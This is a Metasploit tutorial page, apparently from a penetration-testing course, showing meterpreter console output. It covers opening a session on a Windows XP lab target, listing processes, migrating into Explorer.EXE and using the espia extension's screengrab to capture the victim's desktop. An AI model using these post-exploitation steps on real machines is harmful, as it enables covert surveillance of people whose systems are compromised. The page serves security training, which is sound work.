Screen Capture a11y.text Screen Capture Screen Capturing in Metasploit a11y.text Screen Capturing in Metasploit Another feature of meterpreter is the ability to capture the victims desktop and save them on your system. Letâ€™s take a quick look at how this works. Weâ€™ll already assume you have a meterpreter console, weâ€™ll take a look at what is on the victims screen. [*] Started bind handler

[*] Trying target Windows XP SP2 - English...

[*] Sending stage (719360 bytes)

[*] Meterpreter session 1 opened (192.168.1.101:34117 -> 192.168.1.104:4444)

meterpreter > ps

Process list

============

PID	Name	Path
180	notepad.exe	C:\WINDOWS\system32\notepad.exe
248	snmp.exe	C:\WINDOWS\System32\snmp.exe
260	Explorer.EXE	C:\WINDOWS\Explorer.EXE
284	surgemail.exe	c:\surgemail\surgemail.exe
332	VMwareService.exe	C:\Program Files\VMware\VMware Tools\VMwareService.exe
612	VMwareTray.exe	C:\Program Files\VMware\VMware Tools\VMwareTray.exe
620	VMwareUser.exe	C:\Program Files\VMware\VMware Tools\VMwareUser.exe
648	ctfmon.exe	C:\WINDOWS\system32\ctfmon.exe
664	GrooveMonitor.exe	C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
728	WZCSLDR2.exe	C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe

```
 736   jusched.exe         C:\Program Files\Java\jre6\bin\jusched.exe
 756   msmsgs.exe          C:\Program Files\Messenger\msmsgs.exe
 816   smss.exe            \SystemRoot\System32\smss.exe
 832   alg.exe             C:\WINDOWS\System32\alg.exe
 904   csrss.exe           \??\C:\WINDOWS\system32\csrss.exe
 928   winlogon.exe        \??\C:\WINDOWS\system32\winlogon.exe
 972   services.exe        C:\WINDOWS\system32\services.exe
 984   lsass.exe           C:\WINDOWS\system32\lsass.exe
 1152  vmacthlp.exe        C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 1164  svchost.exe         C:\WINDOWS\system32\svchost.exe
 1276  nwauth.exe          c:\surgemail\nwauth.exe
 1296  svchost.exe         C:\WINDOWS\system32\svchost.exe
 1404  svchost.exe         C:\WINDOWS\System32\svchost.exe
 1500  svchost.exe         C:\WINDOWS\system32\svchost.exe
 1652  svchost.exe         C:\WINDOWS\system32\svchost.exe
 1796  spoolsv.exe         C:\WINDOWS\system32\spoolsv.exe
 1912  3proxy.exe          C:\3proxy\bin\3proxy.exe
 2024  jqs.exe             C:\Program Files\Java\jre6\bin\jqs.exe
 2188  swatch.exe          c:\surgemail\swatch.exe
 2444  iexplore.exe        C:\Program Files\Internet Explorer\iexplore.exe
 3004  cmd.exe             C:\WINDOWS\system32\cmd.exe

meterpreter > migrate 260
[*] Migrating to 260...
[*] Migration completed successfully.
meterpreter > use espia
```

Loading extension espia...success.

meterpreter > screengrab

Screenshot saved to: /root/nYdRUppb.jpeg

meterpreter > We can see how effective this was in migrating to the explorer.exe, be sure that the process your meterpreter is on has access to active desktops or this will not work. Next Searching for Content Prev TimeStomp